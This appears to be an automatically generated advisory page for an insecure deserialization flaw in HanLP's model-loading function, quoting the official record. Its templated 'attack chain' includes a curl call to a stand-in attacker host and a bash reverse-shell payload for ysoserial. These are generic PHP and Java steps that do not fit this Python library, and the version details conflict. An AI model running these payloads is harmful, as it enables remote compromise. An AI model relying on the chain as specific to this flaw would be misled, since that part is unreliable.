CVE-2026-133836 — Hankcs HanLP (2.1.0) — CWE-502 · CWE-20
CVE-2026-133836 is a MEDIUM severity Insecure Deserialization vulnerability (CWE-502, CWE-20) (CVSS 6.3/10) affecting Hankcs HanLP (2.1.0). Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), posing a direct security risk to affected deployments.
📄 Official NVD / MITRE Original Record Text
A vulnerability has been found in hankcs HanLP up to 2.1.6. The affected element is the function RNNLanguageModel.load_language_model of the file hanlp/layers/embeddings/contextual_string_embedding.py. Such manipulation of the argument model_file leads to deserialization. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. Upgrading to version 2.1.7 is sufficient to fix this issue. The name of the patch is 6962907e37dfa467fa6dee164b5b1d0a904b24db. The affected component should be upgraded.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-133836
CVSS 6.3/10 · MEDIUM · 20.11.2026
CWE: CWE-502, CWE-20
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Insecure Deserialization
Summary: A vulnerability has been found in hankcs HanLP up to 2.1.6. The affected element is the function RNNLanguageModel.load_language_model of the file hanlp/layers/embeddings/contextual_string_embedding.py. Such manipulation of the argument model_file leads to deserialization.
Affected: hankcs:HanLP
⚡ ATTACK CHAIN
1. Detect serialized data in cookies, POST body, hidden fields.
2. PHP: phpggc Laravel/RCE1 'curl attacker.com' | base64
3. Java: ysoserial CommonsCollections6 'bash -i >& /dev/tcp/IP/4444 0>&1' > payload.bin
4. Replace original with payload.
🔧 Tools: ysoserial, phpggc, Burp Suite Deserialization Scanner
🗺️ MITRE ATT&CK: T1190, T1059
🌍 REAL WORLD IMPACT
🛡️ REMEDIATION
→ Apply vendor security update for hankcs:HanLP.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
📋 Routine update cycle (30 days)
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]
FOFA Query